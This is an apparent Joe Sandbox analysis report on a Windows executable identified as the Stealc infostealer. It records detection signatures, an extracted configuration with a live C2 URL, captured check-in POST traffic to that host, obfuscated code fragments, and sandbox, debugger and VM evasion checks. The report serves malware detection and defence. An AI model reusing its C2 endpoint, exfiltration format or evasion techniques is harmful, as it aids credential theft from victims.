Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532351
MD5:	cfdd8a903441555e23417125bccc4e60
SHA1:	5ee09d72d09a587d1399d651d5e2d3e199899ae3
SHA256:	51104c217fb4ac57c1ef1071eaf80c801e17a2ca4c1b83a31d2d7a43b5f22671
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6960 cmdline: "C:\Users\user\Desktop\file.exe" MD5: CFDD8A903441555E23417125BCCC4E60)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1800007747.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1758315822.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6960	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6960	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.260000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T01:29:11.939162+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49732	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/ws	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.260000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0026C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00267240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00267240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00269AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00269AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00269B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00269B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00278EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00278EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002738B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_002738B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00274910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00274910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0026DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0026E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0026ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00274570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00274570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0026DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0026BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00273EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00273EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0026F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002616D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002616D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49732 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 38 42 35 32 41 45 41 36 30 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 2d 2d 0d 0a Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="hwid"D8B52AEA60BD3120641781------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="build"doma------DBKFIDAAEHIEGCBFIDBF--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00264880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00264880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 38 42 35 32 41 45 41 36 30 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 2d 2d 0d 0a Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="hwid"D8B52AEA60BD3120641781------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="build"doma------DBKFIDAAEHIEGCBFIDBF--

Source: file.exe, 00000000.00000002.1800007747.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1800007747.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1800007747.0000000000E8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1800007747.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1800007747.0000000000E8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3S
Source: file.exe, 00000000.00000002.1800007747.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/n
Source: file.exe, 00000000.00000002.1800007747.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1800007747.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37D~f

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006	0_2_00627006
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006219AB	0_2_006219AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00628236	0_2_00628236
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0072D2F2	0_2_0072D2F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061FAD5	0_2_0061FAD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00576292	0_2_00576292
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00607A90	0_2_00607A90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00624B29	0_2_00624B29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00632319	0_2_00632319
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00629CD6	0_2_00629CD6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004DD5C8	0_2_004DD5C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061C66C	0_2_0061C66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061BE2C	0_2_0061BE2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E369F	0_2_004E369F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0062BE93	0_2_0062BE93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C5F47	0_2_005C5F47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00622FF4	0_2_00622FF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061DFCA	0_2_0061DFCA

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 002645C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: nlvthzrj ZLIB complexity 0.9947395752257161

Source: file.exe, 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1758315822.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00279600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00279600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00273720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00273720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\F0HPVKVL.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1801216 > 1048576

Source: file.exe

Static PE information: Raw size of nlvthzrj is bigger than: 0x100000 < 0x191800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.260000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nlvthzrj:EW;juspdwth:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nlvthzrj:EW;juspdwth:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00279860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00279860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c4681 should be: 0x1badc6

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nlvthzrj
Source: file.exe	Static PE information: section name: juspdwth
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006BD860 push eax; mov dword ptr [esp], edi	0_2_006BD8AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0027B035 push ecx; ret	0_2_0027B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B4858 push ecx; mov dword ptr [esp], eax	0_2_006B4878
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0070A836 push 523A8313h; mov dword ptr [esp], esi	0_2_0070A918
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0070A836 push 1D1ECA00h; mov dword ptr [esp], edx	0_2_0070A925
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0070A836 push 12552C1Ah; mov dword ptr [esp], esi	0_2_0070B136
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B6024 push eax; mov dword ptr [esp], ebp	0_2_006B6041
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push eax; mov dword ptr [esp], ebx	0_2_0062716A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push 43EA138Ah; mov dword ptr [esp], edi	0_2_006271F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push esi; mov dword ptr [esp], 02A10ACDh	0_2_00627231
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push 58266091h; mov dword ptr [esp], eax	0_2_00627256
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push 7DC8E1F5h; mov dword ptr [esp], edx	0_2_00627269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push eax; mov dword ptr [esp], 39E7C1ABh	0_2_00627292
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push edx; mov dword ptr [esp], eax	0_2_00627327
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push eax; mov dword ptr [esp], 3C5535C0h	0_2_006273E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push 5148EF93h; mov dword ptr [esp], eax	0_2_00627408
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push esi; mov dword ptr [esp], eax	0_2_00627452
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push ebx; mov dword ptr [esp], edx	0_2_0062749A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push ecx; mov dword ptr [esp], edx	0_2_0062750E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push edi; mov dword ptr [esp], 36BD5483h	0_2_00627515
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push esi; mov dword ptr [esp], ecx	0_2_0062758A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push ecx; mov dword ptr [esp], edi	0_2_006275AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push esi; mov dword ptr [esp], edx	0_2_00627723
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push 516FF8D7h; mov dword ptr [esp], eax	0_2_0062773A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push 3E0E5C60h; mov dword ptr [esp], ebx	0_2_00627771
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push edx; mov dword ptr [esp], 7B7F87C4h	0_2_006277AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push 732F8736h; mov dword ptr [esp], eax	0_2_006277D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push ebp; mov dword ptr [esp], 7F32B85Ch	0_2_00627883
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push 00BC7466h; mov dword ptr [esp], eax	0_2_006278E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push edi; mov dword ptr [esp], 50F4E59Bh	0_2_0062790C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00627006 push 086C67DAh; mov dword ptr [esp], edi	0_2_0062792B

Source: file.exe

Static PE information: section name: nlvthzrj entropy: 7.953408451979988

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00279860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13496

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636ECA second address: 636EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 jmp 00007F46B8B98B0Ah 0x0000000e jmp 00007F46B8B98B0Ah 0x00000013 jl 00007F46B8B98B0Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6371DB second address: 6371E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6371E7 second address: 6371EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637363 second address: 637367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637498 second address: 6374A2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F46B8B98B06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6374A2 second address: 6374BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F46B8DCA1A3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6374BF second address: 6374C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6374C3 second address: 6374E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F46B8DCA19Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637665 second address: 63766B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
